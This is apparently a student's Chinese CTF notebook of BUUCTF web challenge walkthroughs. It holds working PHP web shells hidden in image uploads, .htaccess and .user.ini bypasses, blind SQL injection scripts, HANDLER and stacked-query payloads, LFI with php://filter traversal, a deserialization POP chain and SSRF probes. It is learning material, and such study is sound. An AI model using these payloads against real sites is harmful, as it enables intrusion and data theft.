[极客大挑战 2019]BuyFlag 感觉我心还是太急了，没发现cooki，没试一下用bp抓包，就上网找wp了，明明是很标准的流程，，，，，
1 2 3 4 POST /cookie =1password =404aa&money=9e8
[RoarCTF 2019]Easy Calc 进去后是个页面，输入计算式，计算结果，没见过类似的题目啊,f12，发现有个calu.php,访问得到源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 ); if (!isset ($_GET ['num' ])){show_source (__FILE__ ); else {$str = $_GET ['num' ];$blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ];foreach ($blacklist as $blackitem ) {if (preg_match ('/' . $blackitem . '/m' , $str )) {die ("what are you want to do?" );eval ('echo ' .$str .';' );?>
然后看别人的wp做https://blog.csdn.net/vanarrow/article/details/107976892 https://www.cnblogs.com/echoDetected/p/13091486.html
当传入：
1 2 3 4 5 6 7 8 9 10 num$blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ];foreach ($blacklist as $blackitem ) {if (preg_match ('/' . $blackitem . '/m' , $str )) {die ("what are you want to do?" );
在本地试了一下，确实是这样:
1 2 3 4 5 6 7 <?php eval ('echo' . phpinfo ().';' );?> <?php eval ('echo' .' phpinfo()' .';' );?>
接下来总结别人的wp：
1 2 3 4 5 6 s='' input ("enter you str,then i will give you them ascii:\n" )0 for i in s:ord (i)print (o)
然后到做题：
1 2 3 4 /calc.php? num=var_dump(scandir(chr(47 )))array (24 ) { [0 ]=> string (1 ) "." [1 ]=> string (2 ) ".." [2 ]=> string (10 ) ".dockerenv" [3 ]=> string (3 ) "bin" [4 ]=> string (4 ) "boot" [5 ]=> string (3 ) "dev" [6 ]=> string (3 ) "etc" [7 ]=> string (5 ) "f1agg" [8 ]=> string (4 ) "home" [9 ]=> string (3 ) "lib" [10 ]=> string (5 ) "lib64" [11 ]=> string (5 ) "media" [12 ]=> string (3 ) "mnt" [13 ]=> string (3 ) "opt" [14 ]=> string (4 ) "proc" [15 ]=> string (4 ) "root" [16 ]=> string (3 ) "run" [17 ]=> string (4 ) "sbin" [18 ]=> string (3 ) "srv" [19 ]=> string (8 ) "start.sh" [20 ]=> string (3 ) "sys" [21 ]=> string (3 ) "tmp" [22 ]=> string (3 ) "usr" [23 ]=> string (3 ) "var" }
读取flag：
1 2 3 http ://node5.buuoj.cn:28453 /calc.php?%20 num=var_dump(file_get_contents(chr(47 ).chr(102 ).chr(49 ).chr(97 ).chr(103 ).chr(103 )))string (43 ) "flag{89404a0c-0948-4a18-9f87-40f1050cc23f} "
notice: scandir( )
var_dump( )：
file_get_contents( )：
chr( )：
[护网杯 2018]easy_tornado 模板注入题https://blog.csdn.net/m0_73734159/article/details/134360691
记一回tornado模板注入，虽然没做过两道模板注入的题
点开flag看到：
1 2 3 4 /flag.txtin /fllllllllllllag
修改filehash:
查看hint得到计算公式 md5(cookie_secret+md5(filename))
1 {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '42b45411 -b944-4058 -a294-92333eecacef'}
计算hash值
最后payload：
[MRCTF2020]你传你🐎呢 这题的note写过了，本替换搞没了，这次就独立做过当温习吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 POST /upload.php HTTP/1.1 Host : 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81Content-Length : 411Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryPX5AuupbBQqkGiE6Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/Accept-Encoding : gzip, deflate, brCookie : PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ffConnection : keep-aliveContent-Disposition: form-data; name ="uploaded"; filename="php.png" Content-Type : image/png <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="submit" 一键去世 Warning : mkdir(): File exists in /var/www/html/upload.php on line 23 /var/www/html/upload/c27817d096552162de80b210a4855ce1/php.png succesfully uploaded!
直接蚁剑访问访问不了，应该就是目录不会进行php解析的原因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 POST /upload.php HTTP/1.1 Host : 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81Content-Length : 340Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryvBTzoKhzTjekoPjHUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/Accept-Encoding : gzip, deflate, brCookie : PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ffConnection : keep-aliveContent-Disposition: form-data; name ="uploaded"; filename=".htaccess" Content-Type : image/png SetHandler application/x-httpd-php Content-Disposition: form-data; name ="submit" 一键去世 Warning : mkdir(): File exists in /var/www/html/upload.php on line 23 /var/www/html/upload/c27817d096552162de80b210a4855ce1/.htaccess succesfully uploaded!
蚁剑访问http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/upload/c27817d096552162de80b210a4855ce1/php.png
.htaccess 漏洞详情：https://blog.csdn.net/weixin_44032232/article/details/108998564
ACTF upload（未解出） 又跑去actf坐牢了😭，做不出来也把进度放这
先要注册用户来登录，试了admin账户，服务器不给
传正常图片http://223.112.5.141:63478/upload?file_path=9db39573-994f-464f-b1fe-97c1e9897fb9_test.jpeg
传马：http://223.112.5.141:63478/upload?file_path=5ce41be5-7154-493f-b21b-84dd6a200111_php.php
1 <img src ="data:image/png;base64,PHNjcmlwdCBsYW5ndWFnZT0ncGhwJz5ldmFsKCRfR0VUWyJ6Il0pOzwvc2NyaXB0Pg==" alt ="Uploaded Image" >
是base64编码后的马
1 PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
不行
看一下d导的分析：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 关键分析<img src ="data:image/png;base64,..." > 中，说明服务器将文件内容强制转换为 Base64 图片。<script language ='php' > eval ($_GET["z" ]);</script >
试一下对upload文件
1 http:// 223.112 .5.141 :63478 /upload?file_path=flag.txthttp:/ /223.112.5.141:63478/u pload?file_path=flag.txt
对upload试了一下目录穿越，不行，
伪协议
注意到无论上传什么文件服务器默认当作imag/png文件处理
http://223.112.5.141:53908/upload?file_path=http://127.0.0.1/flag.txt
[CISCN2019 华北赛区 Day2 Web1]Hack World buucft里提示有sql，上来给了个输入框，但是是post而，抓包看：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php HTTP/1 .1 Host : cb3e0494-3 cbe-4 dca-b625-ed7bbc363bbe.node5.buuoj.cn:81 Content -Length: 4 Cache -Control: max-age=0 Accept -Language: zh-CN,zh;q=0 .9 Origin : http://cb3e0494-3 cbe-4 dca-b625-ed7bbc363bbe.node5.buuoj.cn:81 Content -Type: application/x-www-form-urlencodedUpgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://cb3e0494-3 cbe-4 dca-b625-ed7bbc363bbe.node5.buuoj.cn:81 /index.phpAccept -Encoding: gzip, deflate, brConnection : keep-aliveid =1
然后就是对id进行注入了,
1 2 3 4 5 6 7 8 9 10 空格|| && " ;
试出如下
1 2 3 4 5 6 7 1^(length(database())=2)Error Occured When Fetch Result.
由此可以对进行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import requestsimport time'http://69638964-21bc-445d-a323-6de57b0ff6bb.node5.buuoj.cn:81/' '' "" for i in range (10 ,12 ):for l in range (32 ,127 ):0.2 ) '1^(ascii(substr(database(),{},1))={})' .format (i,l)'id' : payload}print ("testing 数据库名称第:" ,i,"第个" ,chr (l),"字符" )if 'Error Occured When Fetch Result.' in re.text:chr (l)print ("数据库名称：" ,name)break
先跑出数据库名：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import requestsimport time'http://b74d121d-ae37-46c5-9e40-49750c875c6b.node5.buuoj.cn:81/index.php' '' "" for le in range (1 ,100 ):'1^((length((select(flag)from(flag))))<{})' .format (le)'id' : payload}print ("测试flag长度中:" ,le)if 'Error Occured When Fetch Result.' in re.text:print ("flag长度为:" ,le)break for i in range (1 ,le+1 ):for l in range (32 ,117 ):0.1 )'1^((ascii(substr((select(flag)from(flag)),{},1)))={})' .format (i,l)'id' : payload}print ("flag名称第:" ,i,"个字符" ,chr (l),' ' ,flag)if 'Error Occured When Fetch Result.' in re.text:chr (l)print ("flag:" ,flag)break
可能是我昨晚做迷糊了，卡在length和substr里面用select需要再加一层括号里，卡了一个半小时，到凌晨3点半，
[GXYCTF2019]BabyUpload 先传个🐎看看：
1 2 3 4 5 6 7 8 传php木马：jpg看看：
不管了，bp抓包改
1 2 3 4 5 6 7 8 Content-Disposition: form-data; name ="uploaded" ; filename="shell.jpeg" <script language ='php' > @eval ($_POST[zhong]); </script > <script language ='php' > system ('cat /flag' );</script > 407 deea951641fdc86613277efecd816/shell.jpeg succesfully uploaded!
在浏览器上访问成功，但是用蚂蚁连接不上，应该也是没目录没php解析的问题，
1 2 3 4 5 6 Content-Disposition: form-data; name = "uploaded" ; filename = ".htaccess" Content-Type: image/jpeg /x-httpd-php /var/www/html/upload/407deea951641fdc86613277efecd816/.htaccess succesfully uploaded!
蚂蚁连接成功，在根目录找到flag
乘机试了一下，想在.htaccess文件中直接添加木马，结果连不上，可能是不行吧
[MRCTF2020]Ez_bypass 打开题目：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 I put something in F12 for youinclude 'flag.php' ;$flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) {$id =$_GET ['id' ];$gg =$_GET ['gg' ];if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ;if (isset ($_POST ['passwd' ])) {$passwd =$_POST ['passwd' ];if (!is_numeric ($passwd ))if ($passwd ==1234567 )echo 'Good Job!' ;highlight_file ('flag.php' );die ('By Retr_0' );else echo "can you think twice??" ;else {echo 'You can not get it !' ;else {die ('only one way to get the flag' );else {echo "You are not a real hacker!" ;else {die ('Please input first' );
第一先试一下数组绕过：
1 2 3 ?id[]=0 &gg[]=1
然后添加post数据：
1 2 3 4 5 ?id[]=0 &gg[]=1 1234567
要对is_numeric进行绕过，源码里的：
php比较绕过 is_numeric() 因为php对字符串类型与整数类型进行==比较时会把字符串转化为整型数据，
[SUCTF 2019]CheckIn 传正常图片提示里面有<?不给传，传码看看：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 407Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryE46PLUBJtp0zgdcjUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php.jpg" Content-Type : image/jpg <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
提示：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 403Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundary8mJUC80q1aGOXScdUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php2.jpg" Content-Type : image/jpg FFD8FF <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
提示：
这次换个文件头：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 403Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundary3I0b63Tc4FZzgA5sUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php2.jpg" Content-Type : image/jpg GIF89a <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
回显
1 2 3 Your dir uploads/9987 df285bb375eda68448315c5656e5array (4 ) [0] => string (1 ) "." [1] => string (2 ) ".." [2] => string (9 ) "index.php" [3] => string (9 ) "php2.jpg" }
那目录就是
1 2 GIF89a= php2.jpg
回显：
1 2 3 Your dir uploads/9987 df285bb375eda68448315c5656e5array (5 ) [0] => string (1 ) "." [1] => string (2 ) ".." [2] => string (9 ) ".user.ini" [3] => string (9 ) "index.php" [4] => string (9 ) "php2.jpg" }
这个.user.ini的大概用法是让目录下所有php文件包含上你指定的文件，看回显我上传的目录上是有一个index.php的，所以能用.user.ini的办法
[GXYCTF2019]BabySQli 应该是sql题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 1 'or (1 =1 );array (2 ) {0 ]=>string (1 ) "1" 1 ]=>string (7 ) "hahahah" array (2 ) {0 ]=>string (1 ) "2" 1 ]=>string (12 ) "miaomiaomiao" array (2 ) {0 ]=>string (6 ) "114514" 1 ]=>string (2 ) "ys"
怎么好像做过原题
1 2 3 4 5 6 7 8 9 10 1 ' union select 1 ,2 ,3 # return preg_match ("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i" ,$inject);1 'and if (1 =1 ,1 ,0 )#
算了自己写个脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport time'' for d1 in range (1 ,11 ):for dn in range (32 ,137 ):0.07 )"http://708bd9b9-1fc7-485b-8d30-cf4721d3516a.node5.buuoj.cn:81/?inject=1%27and+ascii%28substr%28database%28%29%2C{}%2C1%29%29%3D{}%23#" .format (d1,dn)print ("testing" ,d1,chr (dn),name)if 'hahahah' in re.text:chr (dn)print (name)
跑出来是 supersqli
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 1 'and extractvalue (1 ,concat ('! ',database ()))#1 'and extractvalue (1 ,concat ('! ',show tables name ))#1 'and extractvalue (1 ,concat ('! ',@@dir ))#1 'and extractvalue (1 ,concat ('! ',user ()))#rename 也被过滤了；1 ';show databases ;#array (2) {0 ]= > string (1 ) "1" 1 ]= > string (7 ) "hahahah" array (1) {0 ]= > string (11 ) "ctftraining" array (1) {0 ]= > string (18 ) "information_schema" array (1) {0 ]= > string (5 ) "mysql" array (1) {0 ]= > string (18 ) "performance_schema" array (1) {0 ]= > string (9 ) "supersqli" array (1) {0 ]= > string (4 ) "test" 1 ';show tables from supersqli;#array (2) {0 ]= > string (1 ) "1" 1 ]= > string (7 ) "hahahah" array (1) {0 ]= > string (8 ) "FlagHere" array (1) {0 ]= > string (5 ) "words" 1 ';show colums from FlagHere ;#1 ';HANDLER FlagHere OPEN ;HANDLER FlagHere READ FIRST ;HANDLER FlagHere CLOSE ;1 ';HANDLER FlagHere OPEN ;HANDLER FlagHere READ FIRST ;
不说了，原题是2019网鼎杯 随便注，限制了重命名和预编译解法，但是能用handler，复制粘贴payload即可解。。。
[SWPUCTF 2021 新生赛]pop 以前的题，做了好久，看了一眼以前的wp，加上AreUSerialz，以后除了public类还是直接在原来的class里直接赋值的好，不然一直出问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );show_source ("index.php" );class w44m private $admin = 'w44m' ;protected $passwd = '08067' ;public function Getflag (if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){include ('flag.php' );echo $flag ;else {echo $this ->admin;echo $this ->passwd;echo 'nono' ;class w22m public $w00m ;public function __destruct (echo $this ->w00m;class w33m public $w00m ;public $w22m ;public function __toString ($this ->w00m->{$this ->w22m}();return 0 ;$a =new w22m ();$a ->w00m=new w33m ();$a ->w00m->w00m=new w44m ();$a ->w00m->w22m='Getflag' ;echo urlencode (serialize ($a ));?>
[BSidesCF 2020]Had a bad day 拿到题目，可以看到这能提供猫猫和狗狗的图片，随便选一个
1 /index.php?category =woofers
fuzz一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 /index .php?category=woofers;lsWarning : include (woofers;ls.php): failed to open stream: No such file or directory in /var/www/html/index .php on line 37 Warning : include (): Failed opening 'woofers;ls.php' for inclusion (include_path='.:/usr/local/lib/php' ) in /var/www/html/index .php on line 37 index .php?category=index only support woofers and meowers.index .php?category=meowers;flagWarning : include (meowers;flag.php): failed to open stream: No such file or directory in /var/www/html/index .php on line 37 Warning : include (): Failed opening 'meowers;flag.php' for inclusion (include_path='.:/usr/local/lib/php' ) in /var/www/html/index .php on line 37
一般这种有include函数的可以试试伪协议,然后刚才就有站点目录了，试一下目录穿越看看flag是否在根目录
然后就是能用
1 2 3 4 5 /index .php?category=php://filter /convert.base64-encode/resource=index .phpWarning : include (php://filter /convert.base64-encode/resource=index .php.php): failed to open stream: operation failed in /var/www/html/index .php on line 37 Warning : include (): Failed opening 'php://filter/convert.base64-encode/resource=index.php.php' for inclusion (include_path='.:/usr/local/lib/php' ) in /var/www/html/index .php on line 37
到现在能想到的是想办法目录穿越到根目录下读取flag，
先是
1 /index.php?category=php://filter/convert.base64-encode/resource=index.php
拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <html>"utf-8" >"X-UA-Compatible" content="IE=edge" >"description" content="Images that spark joy" >"viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0" >"stylesheet" href="css/material.min.css" >"stylesheet" href="css/style.css" >class ="page -layout mdl -layout mdl -layout --fixed -header mdl -js -layout mdl -color --grey -100"> <header class ="page -header mdl -layout__header mdl -layout__header --scroll mdl -color --grey -100 mdl -color -text --grey -800"> <div class ="mdl -layout__header -row "> <span class ="mdl -layout -title ">Had a bad day ?</span > <div class ="mdl -layout -spacer "></div > <div > </header > <div class ="page -ribbon "></div > <main class ="page -main mdl -layout__content "> <div class ="page -container mdl -grid "> <div class ="mdl -cell mdl -cell --2-col mdl -cell --hide -tablet mdl -cell --hide -phone "></div > <div class ="page -content mdl -color --white mdl -shadow --4dp content mdl -color -text --grey -800 mdl -cell mdl -cell --8-col "> <div class ="page -crumbs mdl -color -text --grey -500"> </div > <h3 >Cheer up !</h3 > <p > Did you have a bad day ? Did things not go your way today ? Are you feeling down ? Pick an option and let the adorable images cheer you up ! </p > <div class ="page -include "> <?php $file = $_GET ['category ']; if (isset ($file )) {if ( strpos ( $file , "woofers" ) !== false || strpos ( $file , "meowers" ) !== false || strpos ( $file , "index" )) include ($file . '.php' );else {echo "Sorry, we currently only support woofers and meowers." ;?> "index.php" method="get" id="choice" >"document.getElementById('choice').submit();" name="category" value="woofers" class ="mdl -button mdl -button --colored mdl -button --raised mdl -js -button mdl -js -ripple -effect " data -upgraded =",MaterialButton ,MaterialRipple ">Woofers <span class ="mdl -button__ripple -container "><span class ="mdl -ripple is -animating " style ="width : 189.356px ; height : 189.356px ; transform : translate (-50%, -50%) translate (31px , 25px );"></span ></span ></button > <button onclick ="document .getElementById ('choice ').submit ();" name ="category " value ="meowers " class ="mdl -button mdl -button --colored mdl -button --raised mdl -js -button mdl -js -ripple -effect " data -upgraded =",MaterialButton ,MaterialRipple ">Meowers <span class ="mdl -button__ripple -container "><span class ="mdl -ripple is -animating " style ="width : 189.356px ; height : 189.356px ; transform : translate (-50%, -50%) translate (31px , 25px );"></span ></span ></button ></center > </form > </div > </div > </main > </div > <script src ="js /material .min .js "></script > </body > </html >
strpos()函数，匹配对应字符
1 2 3 http://512acbf5-c929-427e-aec6-d35d2e44994c.node5.buuoj.cn:81/flag.php
页面未返回404，说明flag就在站点默认目录下，并且是.php后缀
1 2 3 index.php?category=php:// filter/convert.base64-encode/ resource=woofers/../ flag
notice php的include函数访问目录解析： kimi:
当woofers/../flag.php被传入并交给include函数时，PHP会将其解析为flag.php，因为在路径解析过程中，../会跳过前面的woofers目录，最终只剩下flag.php，这也就导致了没有woofers文件目录的情况下也能解析到flag.php。
为了防止这种情况，你应该对传入的文件名进行严格过滤和验证，避免包含目录跳转等特殊字符，只允许包含合法的文件名字符，确保传入的文件名符合预期的文件目录结构，并使用且绝对路径或限制目录范围等措施，来防止这种路径解析问题导致的安全风险。
q:
kimi:
当 PHP 处理文件路径时，它是按照路径的逻辑来解析的。例如，对于路径woofers/../flag.php，PHP 会先看到woofers目录，然后遇到../，这意味着要回到上一级目录。最后，再访问flag.php文件。
为什么没有woofers目录也能解析:
PHP 在解析路径时，并不是先检查路径中的每个目录是否存在，而是先按照路径的逻辑进行标准化处理。
我想大概意思就是会先解析完目录，再去访问目录是否存在，所以它是先解析完
[RoarCTF 2019]Easy Java 试了sql注入，点了hlep，然后试了一下常规的目录穿越，无果http://420afca9-2c54-4dc1-9d86-cc41a97eb1bf.node5.buuoj.cn:81/help.docx
1 Are you sure the flag is here? ? ?
web题就不考虑docx隐写啥的了
看wp：https://blog.csdn.net/xhy18634297976/article/details/123117897 https://www.cnblogs.com/MrSoap/p/18356439
直接搬过来：
1 2 3 4 5 6 WEB-INF 主要包含以下文件或目录：INF /web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。INF /classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class ，他们不能包含在 .jar文件中INF /lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件INF /src/：源码目录，按照包名结构放置各个java文件。INF /database.properties：数据库配置文件
web.xml里记有映射的文件，似乎是把url的请求映射到指定的编译号的java程序，class文件，可能和php文件差不多吧
https://www.cnblogs.com/MrSoap/p/18356439
漏洞成因：https://blog.csdn.net/xhy18634297976/article/details/123117897
反正最后是用download文件下载了flagcontainer的class文件，应该就是程序的源码？
这题如题，ez java
.class 文件是什么 .class 文件是Java编译器生成的字节码文件，它包含了Java源代码编译后的二进制表示。Java虚拟机（JVM）可以直接执行这些字节码文件，而无需依赖特定的硬件平台或操作系统
[网鼎杯 2018]Fakebook 上来是一个登录和注册页面，说分享故事啥的
那就用bp fuzz一下login界面
然后再join试了好多，都是blog is not valid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [00:10:49] 301 - 185 B - /js -> http:[00:11:17] 404 - 571 B - /.css [00:11:37] 404 - 571 B - /.gif [00:11:57] 404 - 571 B - /.ico [00:12:06] 404 - 571 B - /.jpeg [00:12:06] 404 - 571 B - /.jpg [00:12:33] 404 - 571 B - /.png [00:16:13] 404 - 571 B - /adm/style/admin.css [00:17:30] 404 - 571 B - /admin_my_avatar.png [00:21:17] 301 - 185 B - /css -> http:[00:21:28] 200 - 0 B - /db.php [00:22:15] 200 - 0 B - /error.php [00:22:32] 200 - 6 KB - /favicon.ico [00:22:42] 200 - 0 B - /flag.php [00:24:02] 403 - 571 B - /js/[00:24:35] 200 - 1 KB - /login.php [00:24:40] 404 - 571 B - /logo.gif [00:27:44] 404 - 571 B - /resources/.arch-internal-preview .css [00:27:49] 200 - 37 B - /robots.txt [00:28:36] 404 - 571 B - /skin1_admin.css [00:29:57] 200 - 0 B - /user.php [00:30:20] 200 - 1019 B - /view.php
有robots.txt,里面提示有一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo public $name = "" ;public $age = 0 ;public $blog = "" ;public function __construct ($name , $age , $blog {$this ->name = $name ;$this ->age = (int )$age ;$this ->blog = $blog ;function get ($url {$ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $url );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$output = curl_exec ($ch );$httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE);if ($httpCode == 404 ) {return 404 ;curl_close ($ch );return $output ;public function getBlogContents ( {return $this ->get ($this ->blog);public function isValidBlog ( {$blog = $this ->blog;return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog );
给deepseek一看，它说有ssrf漏洞，还没接触过呢
1 2 3 便尝试：-4 baf-920 d-2 fd4728ad4f0.node5.buuoj.cn:81/flag.php
一次放我正常的blog链接，http://cd541869-c627-4baf-920d-2fd4728ad4f0.node5.buuoj.cn:81/flag.php
没思路，不知道怎么下手，找wp看吧
1 2 3 4 5 6 7 8 9 10 11 先访问view .phpNotice : Undefined index : no in /var/www/html/view .php on line 24 in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1 )Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66
看网上的wp(https://blog.csdn.net/MyZy_/article/details/143814939)方法就是：
那就先用自己的github地址注册一条信息
